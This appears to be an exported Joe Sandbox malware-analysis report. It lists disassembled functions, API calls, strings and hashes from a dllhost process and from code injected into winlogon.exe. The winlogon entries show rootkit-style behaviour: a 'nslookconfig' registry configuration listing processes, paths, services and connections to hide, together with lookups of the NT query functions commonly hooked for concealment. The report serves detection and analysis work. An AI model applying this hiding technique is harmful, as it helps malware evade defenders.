String ID:
API String ID: 1239891234-0
Opcode ID: f9e8d53756511d59eebaaf56c323f925c02571bcc974eb49a74ce55441d923b8
Instruction ID: a94002c5647d5c3c02ea8f9a8649a67cf53e66a952d72cc81a498371b09bfe9c
Opcode Fuzzy Hash: f9e8d53756511d59eebaaf56c323f925c02571bcc974eb49a74ce55441d923b8
Instruction Fuzzy Hash: 8C314B72214B8096EB65CB26F8407DE73A4F788794F500226FB9D53BA9DF38C6598B40

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000B2CC Relevance: 7.8, APIs: 5, Instructions: 321fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32 ref: 000000014000B33B
WriteFile.KERNEL32 ref: 000000014000B5E5
WriteFile.KERNEL32 ref: 000000014000B637
GetLastError.KERNEL32 ref: 000000014000B779
GetLastError.KERNEL32 ref: 000000014000B78B

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: ErrorFileLastWrite$Console
String ID:
API String ID: 786612050-0
Opcode ID: 6185b47001686f3d2c7c36614dcf54a529ba94c280bae09b8bc5057c92ad5623
Instruction ID: 85cb9dd672ade054a5f4c097fae1c78a2e91ee8a46319035c81f3b3cfd1494ad
Opcode Fuzzy Hash: 6185b47001686f3d2c7c36614dcf54a529ba94c280bae09b8bc5057c92ad5623
Instruction Fuzzy Hash: B4D1F2B2708A809AE702CF66E4443DD7BB1F7487D8F544116EF8E57BA9DA38C15AC700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140003B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 0000000140003C13
GetLastError.KERNEL32 ref: 0000000140003C21
LoadLibraryExW.KERNEL32 ref: 0000000140003C4B
FreeLibrary.KERNEL32 ref: 0000000140003C91
GetProcAddress.KERNEL32 ref: 0000000140003C9D

Strings

api-ms-, xrefs: 0000000140003C33

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 0dd4a504bcac95c60dc9cd98dc9c14b393eae98d983e4de2bbe092bad3b89234
Instruction ID: df373b6ec730a9bfd404b8efd7c468a6aa4631319b472c9a20adb42830e09c27
Opcode Fuzzy Hash: 0dd4a504bcac95c60dc9cd98dc9c14b393eae98d983e4de2bbe092bad3b89234
Instruction Fuzzy Hash: B8316FB1316A8095FE27DB07B804BE56398B74CBE4F594525EF1AAB7A0EF38D4858700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000CC2C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000000014000CC5D
GetLastError.KERNEL32 ref: 000000014000CC69
CloseHandle.KERNEL32 ref: 000000014000CC81
CreateFileW.KERNEL32 ref: 000000014000CCAC
WriteConsoleW.KERNEL32 ref: 000000014000CCCB

Strings

CONOUT$, xrefs: 000000014000CC8D

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 4b28fb120dd779269088581c8e5323345c9365922b55cfb3199524c895469e8a
Instruction ID: ab19db9496d12aa9779ee58175a21b54783d13adca231a0f01b107f525bca11e
Opcode Fuzzy Hash: 4b28fb120dd779269088581c8e5323345c9365922b55cfb3199524c895469e8a
Instruction Fuzzy Hash: 2C115872220B8086F7528B93F84479AB6A0F78CBE4F484224FB5E877B4DF78C9448744

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140005294 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000001400052B0
GetProcAddress.KERNEL32 ref: 00000001400052C6
FreeLibrary.KERNEL32 ref: 00000001400052E3

Strings

CorExitProcess, xrefs: 00000001400052BF
mscoree.dll, xrefs: 00000001400052A7

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 085014a8c8cfb982fa856900b36fb1a1973ae4baa0dd7c60995248b851b3e67d
Instruction ID: 9859a333bd7b57d9ec38d5dcd9ab6801432730027c79301f89632c4922d5d6c1
Opcode Fuzzy Hash: 085014a8c8cfb982fa856900b36fb1a1973ae4baa0dd7c60995248b851b3e67d
Instruction Fuzzy Hash: BAF0DAB1221A4481FB5ADB92F8843E52360AB4DBD2F541426B60B575B4DE78C5C89710

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000BC18 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000014000BC59
GetConsoleMode.KERNEL32 ref: 000000014000BD18
GetLastError.KERNEL32 ref: 000000014000BD98

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 968cc10c74ddc4af2d3d986e3a330590a9d59a8d131bfa39f0543e3baa1f8aad
Instruction ID: 4d66de13f1315c420de4639c2bc0a19256bd87756d4b344f67744beb2c30b217
Opcode Fuzzy Hash: 968cc10c74ddc4af2d3d986e3a330590a9d59a8d131bfa39f0543e3baa1f8aad
Instruction Fuzzy Hash: 9B819BB2620A5089FB62DF66E8907EC66A1FB4CBD8F444116FF0A677F6EB358445C310

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000CF48 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000000014000CF70
_set_statfp.LIBCMT ref: 000000014000CF8B
_set_statfp.LIBCMT ref: 000000014000CFA7
_set_statfp.LIBCMT ref: 000000014000CFE3

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 3c234b152ff464f4ff42ef9096345955c09007f11b3e64a1b63be97e3aa2707f
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: C31173F2A75A0201F666D326F4657FD10436B6D3F4F445635BB6B077F6CA3498418112

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400039F8 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000000140003A17
SetLastError.KERNEL32 ref: 0000000140003A9E

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 01165759b3121519fe1ef140df1b2a9b00668b61944ea1a8fdd598fc9298aa1e
Instruction ID: ee40bbe069c6a25a0cbd135e97ebc073c2ba55ff1da5d0fc5055a9fc3e7fc3ba
Opcode Fuzzy Hash: 01165759b3121519fe1ef140df1b2a9b00668b61944ea1a8fdd598fc9298aa1e
Instruction Fuzzy Hash: E611B2B031164486FA67D723B8443E972A9AB4DBE0F184625BF65173F6DF38C8458301

Uniqueness

Uniqueness Score: -1.00%

Function 000000014000B9BC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000000014000BAD3
GetLastError.KERNEL32 ref: 000000014000BAF5

Strings

U, xrefs: 000000014000BA7F

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: f02c9b90154e3edead2ad0a942b96358295ea216c40d1ad9c1893ef4f954e687
Instruction ID: d6c2a18bdce53c2565363804d56b9cf82c27b3c0d25e7440da819e00cd40361f
Opcode Fuzzy Hash: f02c9b90154e3edead2ad0a942b96358295ea216c40d1ad9c1893ef4f954e687
Instruction Fuzzy Hash: 14417EB2714A8086EB61CF66F8443EA67A1F798BD4F844021EF8D877A8EB78C541C741

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140006B30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000000140006B69
LCMapStringW.KERNEL32 ref: 0000000140006BF1

Strings

LCMapStringEx, xrefs: 0000000140006B4C, 0000000140006B5D

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 87c15fbfbe1f05f64aa5430951cf9ece01d7109a62245abce51aa716bae92111
Instruction ID: 7c7dd02c59062fbcd058de3468e813ba5fe1cfadeba575b480b347c667b96169
Opcode Fuzzy Hash: 87c15fbfbe1f05f64aa5430951cf9ece01d7109a62245abce51aa716bae92111
Instruction Fuzzy Hash: 5611F276608B8086D761CB56B48039AB7A5F7CDBD4F54412AEBCD93B29CF38C5508B00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140003600 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 0000000140003644
RaiseException.KERNEL32 ref: 000000014000368A

Strings

csm, xrefs: 0000000140003677

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 94dd1620c46a63ff53a984a68cffc85d02668d10d329063844b3c401576966c7
Instruction ID: d4865f86d63233cf226d7616b7dbd200fe063830735e82a08e6ff91255043838
Opcode Fuzzy Hash: 94dd1620c46a63ff53a984a68cffc85d02668d10d329063844b3c401576966c7
Instruction Fuzzy Hash: 55111C76214B8082EB66CF16F54039977A5F788BD4F588225EF8D17768DF39C5518B00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140006ACC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000000140006AFD
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000000140006B17

Strings

InitializeCriticalSectionEx, xrefs: 0000000140006AF1

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: bea0c99d7b61f4679e5d56e735bc41edd173cbad7924a7fb1748e672ffa4f4fd
Instruction ID: f86814be835adc1224f50372284a3323bcf6b4697b5421914438eaaf748fc347
Opcode Fuzzy Hash: bea0c99d7b61f4679e5d56e735bc41edd173cbad7924a7fb1748e672ffa4f4fd
Instruction Fuzzy Hash: D8F058B5714B9092EB06CB53B4407DA3661AB4CBC0F889025FB4927B65CF39C985C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140006A30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000000140006A59
TlsSetValue.KERNEL32 ref: 0000000140006A70

Strings

FlsSetValue, xrefs: 0000000140006A46

Memory Dump Source

Source File: 00000027.00000002.544994999.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140000000_dllhost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: cc01e7479c4e8cb8aaf6d6675b111d4cd518f7e83ee88a77bed60041685dfe4d
Instruction ID: 854e1f8098dbbf26dcbba5b03f58f1f5fd216598f3386bee41b5debbdfa3cd0a
Opcode Fuzzy Hash: cc01e7479c4e8cb8aaf6d6675b111d4cd518f7e83ee88a77bed60041685dfe4d
Instruction Fuzzy Hash: 02E06DF120468081FB0ADB66F8403D92222A74C7C0F589022FB452B6B5CE39C985C701

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: winlogon.exePID: 572, Parent PID: 2324COMMON

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	98.4%
Signature Coverage:	0%
Total number of Nodes:	365
Total number of Limit Nodes:	15

Executed Functions

Function 000001AFDDD01400 Relevance: 47.5, APIs: 18, Strings: 9, Instructions: 240
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001AFDDD0840C: Concurrency::cancel_current_task.LIBCPMT ref: 000001AFDDD0843C

RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD015DA
RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD01605
RegCloseKey.ADVAPI32 ref: 000001AFDDD0161F
RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD01642
RegCloseKey.ADVAPI32 ref: 000001AFDDD0165D
RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD01680
RegCloseKey.ADVAPI32 ref: 000001AFDDD0169B
RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD016BE
RegCloseKey.ADVAPI32 ref: 000001AFDDD016D9
RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD016FC
RegCloseKey.ADVAPI32 ref: 000001AFDDD01717
RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD0173A
RegCloseKey.ADVAPI32 ref: 000001AFDDD01755
RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD01778
RegCloseKey.ADVAPI32 ref: 000001AFDDD01793
RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD017B6
RegCloseKey.ADVAPI32 ref: 000001AFDDD017D1
RegCloseKey.ADVAPI32 ref: 000001AFDDD017DB

Part of subcall function 000001AFDDD011C0: RegQueryInfoKeyW.ADVAPI32 ref: 000001AFDDD01220
Part of subcall function 000001AFDDD011C0: RegEnumValueW.ADVAPI32 ref: 000001AFDDD012AD
Part of subcall function 000001AFDDD011C0: lstrcmpiW.KERNEL32 ref: 000001AFDDD012F6
Part of subcall function 000001AFDDD011C0: lstrlenW.KERNEL32 ref: 000001AFDDD01363

Strings

paths, xrefs: 000001AFDDD016B7
udp, xrefs: 000001AFDDD017AF
process_names, xrefs: 000001AFDDD01679
pid, xrefs: 000001AFDDD0163B
service_names, xrefs: 000001AFDDD016F5
startup, xrefs: 000001AFDDD015FE
tcp_remote, xrefs: 000001AFDDD01771
tcp_local, xrefs: 000001AFDDD01733
SOFTWARE\nslookconfig, xrefs: 000001AFDDD015B6

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: CloseOpen$Concurrency::cancel_current_taskEnumInfoQueryValuelstrcmpilstrlen
String ID: SOFTWARE\nslookconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2205723969-4286660177
Opcode ID: 7cf5cfbc156c7f14cfbef28fc8ad97089fc617735fd991efd10034e53f37ea62
Instruction ID: 8c2aaf5fa55622d345902602c6cf8af45a2de01cd9d8aa887a80494d114403f5
Opcode Fuzzy Hash: 7cf5cfbc156c7f14cfbef28fc8ad97089fc617735fd991efd10034e53f37ea62
Instruction Fuzzy Hash: 8DC15872712B11C6EB11DFE2E8503AD77B8F789B88F018029DA8947B99DF78C45AC741

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD03F20 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001AFDDD03F58
PathFindFileNameW.SHLWAPI ref: 000001AFDDD03F6B
GetModuleHandleW.KERNEL32 ref: 000001AFDDD03F95
GetCurrentProcess.KERNEL32 ref: 000001AFDDD03FC7
VirtualProtectEx.KERNEL32 ref: 000001AFDDD03FE9
GetCurrentProcess.KERNEL32 ref: 000001AFDDD04007
VirtualProtectEx.KERNEL32 ref: 000001AFDDD04028
CreateThread.KERNEL32 ref: 000001AFDDD04068

Part of subcall function 000001AFDDD0A610: _invalid_parameter_noinfo.LIBCMT ref: 000001AFDDD0A62D

Strings

nslook, xrefs: 000001AFDDD03F7C

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: CurrentFileModuleNameProcessProtectVirtual$CreateFindHandlePathThread_invalid_parameter_noinfo
String ID: nslook
API String ID: 2570614652-925916808
Opcode ID: f1d8bc74bf052771e52778655c87fe18c3546f35a08540481f72330a9496183f
Instruction ID: 5ecd2b039eb19bca009c9e3db2dca814974c2c340eda80d35b49e607686de3bf
Opcode Fuzzy Hash: f1d8bc74bf052771e52778655c87fe18c3546f35a08540481f72330a9496183f
Instruction Fuzzy Hash: 30416F7174774181FF669BE1F8447A626A9E786B48F04403DD949467D8EF3DC00E9742

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD06A40 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001AFDDD06A7B
GetThreadContext.KERNEL32 ref: 000001AFDDD06BE5

Part of subcall function 000001AFDDD06870: GetCurrentThreadId.KERNEL32 ref: 000001AFDDD06874

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 1dc33039a22eabbeebcab3339823ceb6ead82d8cbd5b34bc2700be86ad712db4
Instruction ID: 88e4d1ff00525c66c1d13cf890266a8f114de126a86606a9f95001ab7e93b2fa
Opcode Fuzzy Hash: 1dc33039a22eabbeebcab3339823ceb6ead82d8cbd5b34bc2700be86ad712db4
Instruction Fuzzy Hash: 1BD1EE76306B8882DF71DB95E4913AA77A4F3C9B88F10412AEA8D477A5CF3CC549DB01

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD05FE0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001AFDDD06066

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 77b0e61026dcb1cbe9ffaeb6768d5842275e70ce13d5836d784ec2967e2859dc
Instruction ID: fa25290cde449c2035e164aaea8dd913c4daef40ef9751952fc41bf151f0e6d4
Opcode Fuzzy Hash: 77b0e61026dcb1cbe9ffaeb6768d5842275e70ce13d5836d784ec2967e2859dc
Instruction Fuzzy Hash: 2702033221AB8086DB61CB95F4557AAB7B4F3C5784F104029EB8E87BA9DF7CC449DB01

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD048F0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001AFDDD04976
VirtualAlloc.KERNEL32 ref: 000001AFDDD049B0

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: 1d8c233d6227d2e299d15bdeac6b71acf21758d515661483862986c49184b7ec
Instruction ID: a9395169232f802f892956596497334a0496ede1b8f251cddf5b8ebc68a6df38
Opcode Fuzzy Hash: 1d8c233d6227d2e299d15bdeac6b71acf21758d515661483862986c49184b7ec
Instruction Fuzzy Hash: 2731F232717A8181EE72DAD5F0507AE6298F3C978CF10053DE5CD46BD8DB6CC54A9B05

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD05D00 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001AFDDD05D04
VirtualProtect.KERNEL32 ref: 000001AFDDD05D47
FlushInstructionCache.KERNEL32 ref: 000001AFDDD05D5C

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 2e14d6d64783aa5e808863a58a0602ed5772b49a50541b1fc1cd05cb292e8779
Instruction ID: 6b91a2006ce2e2279d3f1458f23f4396ab72add255b911aa9453f53521d80637
Opcode Fuzzy Hash: 2e14d6d64783aa5e808863a58a0602ed5772b49a50541b1fc1cd05cb292e8779
Instruction Fuzzy Hash: DBF03636317B4480DA31DB81F04479A67A4E3C9BD8F14012AF98D03BA9CA3CC29A9B41

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDCD35D0 Relevance: 3.2, APIs: 2, Instructions: 216
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001AFDDCD366A
LoadLibraryA.KERNELBASE ref: 000001AFDDCD3745

Memory Dump Source

Source File: 0000002A.00000002.508622976.000001AFDDCD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDCD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddcd0000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 08772dcd6b70912aa01ac8df599671afdeafe4e5ce07d66a2e7adf18228cebbd
Instruction ID: 29ca8924484b3012b58c2a232780904c957ce46a14694de08bb14ef3dc513fb4
Opcode Fuzzy Hash: 08772dcd6b70912aa01ac8df599671afdeafe4e5ce07d66a2e7adf18228cebbd
Instruction Fuzzy Hash: 528100B270369087DB568FD1DC507EA77A5FB86B80F158239DE89473C4EA38D80AC701

Uniqueness

Uniqueness Score: -1.00%

Function 000001AFDDD01ED0 Relevance: 3.0, APIs: 2, Instructions: 18
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000001AFDDD01EE7
SleepEx.KERNEL32 ref: 000001AFDDD01EED

Part of subcall function 000001AFDDD01400: RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD015DA
Part of subcall function 000001AFDDD01400: RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD01605
Part of subcall function 000001AFDDD01400: RegCloseKey.ADVAPI32 ref: 000001AFDDD0161F
Part of subcall function 000001AFDDD01400: RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD01642
Part of subcall function 000001AFDDD01400: RegCloseKey.ADVAPI32 ref: 000001AFDDD0165D
Part of subcall function 000001AFDDD01400: RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD01680
Part of subcall function 000001AFDDD01400: RegCloseKey.ADVAPI32 ref: 000001AFDDD0169B
Part of subcall function 000001AFDDD01400: RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD016BE
Part of subcall function 000001AFDDD01400: RegCloseKey.ADVAPI32 ref: 000001AFDDD016D9
Part of subcall function 000001AFDDD01400: RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD016FC
Part of subcall function 000001AFDDD01400: RegCloseKey.ADVAPI32 ref: 000001AFDDD01717
Part of subcall function 000001AFDDD01400: RegOpenKeyExW.ADVAPI32 ref: 000001AFDDD0173A
Part of subcall function 000001AFDDD01400: RegCloseKey.ADVAPI32 ref: 000001AFDDD01755

Memory Dump Source

Source File: 0000002A.00000002.508754328.000001AFDDD00000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001AFDDD00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_1afddd00000_winlogon.jbxd

Similarity

API ID: Open$Close$Sleep
String ID:
API String ID: 3308825301-0
Opcode ID: 0335e562c384ed4ab1b4dfda930fd32856ca0767eaff0783c008b7edfd4736cd
Instruction ID: 72449b2edef49a5f5eba09553d00170a91160030c7628b33c349c93c22a9b05e
Opcode Fuzzy Hash: 0335e562c384ed4ab1b4dfda930fd32856ca0767eaff0783c008b7edfd4736cd
Instruction Fuzzy Hash: 3EE0927074760280FE93ABE6AC453FD16996B8A7CCF14003CA949877EAED28805F7203

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000001AFDDD01F20 Relevance: 57.9, APIs: 21, Strings: 12, Instructions: 167
libraryloaderthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001AFDDD01F42
GetModuleHandleA.KERNEL32 ref: 000001AFDDD01F57
GetProcAddress.KERNEL32 ref: 000001AFDDD01F6E
GetModuleHandleA.KERNEL32 ref: 000001AFDDD01FA3
GetProcAddress.KERNEL32 ref: 000001AFDDD01FB8
GetModuleHandleA.KERNEL32 ref: 000001AFDDD01FED
GetProcAddress.KERNEL32 ref: 000001AFDDD02002
GetModuleHandleA.KERNEL32 ref: 000001AFDDD02037
GetProcAddress.KERNEL32 ref: 000001AFDDD0204C
GetModuleHandleA.KERNEL32 ref: 000001AFDDD02081
GetProcAddress.KERNEL32 ref: 000001AFDDD02096
GetModuleHandleA.KERNEL32 ref: 000001AFDDD020CB
GetProcAddress.KERNEL32 ref: 000001AFDDD020E0
GetModuleHandleA.KERNEL32 ref: 000001AFDDD02115
GetProcAddress.KERNEL32 ref: 000001AFDDD0212A
GetModuleHandleA.KERNEL32 ref: 000001AFDDD0215F
GetProcAddress.KERNEL32 ref: 000001AFDDD02174
GetModuleHandleA.KERNEL32 ref: 000001AFDDD021A9
GetProcAddress.KERNEL32 ref: 000001AFDDD021BE
GetModuleHandleA.KERNEL32 ref: 000001AFDDD021F3
GetProcAddress.KERNEL32 ref: 000001AFDDD02208

Strings

EnumServicesStatusExW, xrefs: 000001AFDDD0216A, 000001AFDDD021B4
EnumServiceGroupW, xrefs: 000001AFDDD02120
NtEnumerateKey, xrefs: 000001AFDDD0208C
NtResumeThread, xrefs: 000001AFDDD01FAE
NtQueryDirectoryFile, xrefs: 000001AFDDD01FF8
NtDeviceIoControlFile, xrefs: 000001AFDDD021FE
NtQuerySystemInformation, xrefs: 000001AFDDD01F64
sechost.dll, xrefs: 000001AFDDD021A2
advapi32.dll, xrefs: 000001AFDDD0210E, 000001AFDDD02158
NtQueryDirectoryFileEx, xrefs: 000001AFDDD02042
ntdll.dll, xrefs: 000001AFDDD01F50, 000001AFDDD01F9C, 000001AFDDD01FE6, 000001AFDDD02030, 000001AFDDD0207A, 000001AFDDD020C4, 000001AFDDD021EC
